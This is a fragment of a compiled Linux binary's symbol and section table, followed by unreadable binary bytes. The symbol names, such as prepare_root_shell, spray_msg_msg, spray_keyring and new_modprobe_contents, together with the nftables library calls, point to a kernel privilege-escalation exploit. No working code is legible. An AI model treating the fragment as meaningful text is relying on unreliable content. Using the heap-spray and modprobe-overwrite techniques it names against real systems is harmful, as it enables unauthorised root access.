LIBC_2.34prepare_root_shellsched_setaffinity@GLIBC_2.3.4spray_keyring_list_overwrite_purposespray_msg_msgmnl_nlmsg_batch_current@LIBMNL_1.0mnl_nlmsg_batch_next@LIBMNL_1.0read@GLIBC_2.2.5do_error_exitexecve@GLIBC_2.2.5calloc@GLIBC_2.2.5__data_startnftnl_table_alloc@LIBNFTNL_11msgsnd@GLIBC_2.2.5spray_uringnew_modprobe_contentsyscall@GLIBC_2.2.5__gmon_start____dso_handlememcpy@GLIBC_2.14_IO_stdin_usedmq_open@GLIBC_2.34getgid@GLIBC_2.2.5nftnl_batch_end@LIBNFTNL_11nftnl_expr_alloc@LIBNFTNL_11malloc@GLIBC_2.2.5nftnl_table_set_str@LIBNFTNL_11nftnl_batch_begin@LIBNFTNL_11_endbyenftnl_nlmsg_build_hdr@LIBNFTNL_11__bss_startmainsetvbuf@GLIBC_2.2.5sema_upmq_receive@GLIBC_2.34open@GLIBC_2.2.5release_partial_keysawake_partial_keysperror@GLIBC_2.2.5sysconf@GLIBC_2.2.5nftnl_set_nlmsg_build_payload@LIBNFTNL_11userland_Tnftnl_expr_set_u32@LIBNFTNL_11spray_mqueuesema_downexit@GLIBC_2.2.5__TMC_END__nftnl_set_alloc@LIBNFTNL_11gather_mqueue_ITM_registerTMCloneTablerelease_partial_uringset_trigger_set_and_overwritesleep@GLIBC_2.2.5spray_keyring_list_del_purpose__cxa_finalize@GLIBC_2.2.5_initfork@GLIBC_2.2.5stderr@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment#88@6xx Döÿÿo˜˜4N ÐÐHV  µ^ÿÿÿoÎ Î †kþÿÿoXX°z„BpŽ ‰ °”Ð#Ð#�à#à#ä£ÄCÄC ©PPà ±à[à[,¿]]Àɰ}°mÕ¸}¸máÀ}Àm˜ÀÀo(êèèoèóÐ�Ðqùà�àqH þ0àq6r    ¸} ¹†